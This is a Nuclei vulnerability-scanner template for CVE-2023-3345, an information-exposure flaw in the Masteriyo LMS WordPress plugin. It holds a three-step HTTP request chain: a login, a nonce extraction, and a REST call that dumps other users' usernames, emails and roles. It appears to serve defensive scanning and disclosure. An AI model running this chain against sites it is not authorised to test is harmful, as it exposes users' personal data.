nuclei-templates/http/cves/2023/CVE-2023-3345.yaml

id: CVE-2023-3345

info:
  name: LMS by Masteriyo < 1.6.8 - Information Exposure
  author: DhiyaneshDK
  severity: medium
  description: |
    The plugin does not properly safeguards sensitive user information, like other user's email addresses, making it possible for any students to leak them via some of the plugin's REST API endpoints.
  reference:
    - https://wpscan.com/vulnerability/0d07423e-98d2-43a3-824d-562747a3d65a
    - https://github.com/RandomRobbieBF/learning-management-system
    - https://wordpress.org/plugins/learning-management-system
    - https://nvd.nist.gov/vuln/detail/CVE-2023-3345
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2023-3345
    cwe-id: CWE-200
    epss-score: 0.00599
    cpe: cpe:2.3:a:masteriyo:masteriyo:*:*:*:*:*:wordpress:*:*
    epss-percentile: 0.75693
  metadata:
    max-request: 3
    verified: true
    framework: wordpress
    vendor: masteriyo
    product: masteriyo
  tags: wp-plugin,xss,wp,wordpress,exposure,authenticated,learning-management-system,wpscan

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/profile.php HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /wp-json/masteriyo/v1/users/ HTTP/1.1
        Host: {{Hostname}}
        X-WP-Nonce: {{nonce}}

    cookie-reuse: true

    matchers-condition: and
    matchers:
      - type: word
        part: body_3
        words:
          - '"username":'
          - '"email":'
          - '"roles":'
        condition: and

      - type: word
        part: header_3
        words:
          - application/json

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: nonce
        part: body
        group: 1
        regex:
          - '"nonce":"([a-z0-9]+)","versionString'
        internal: true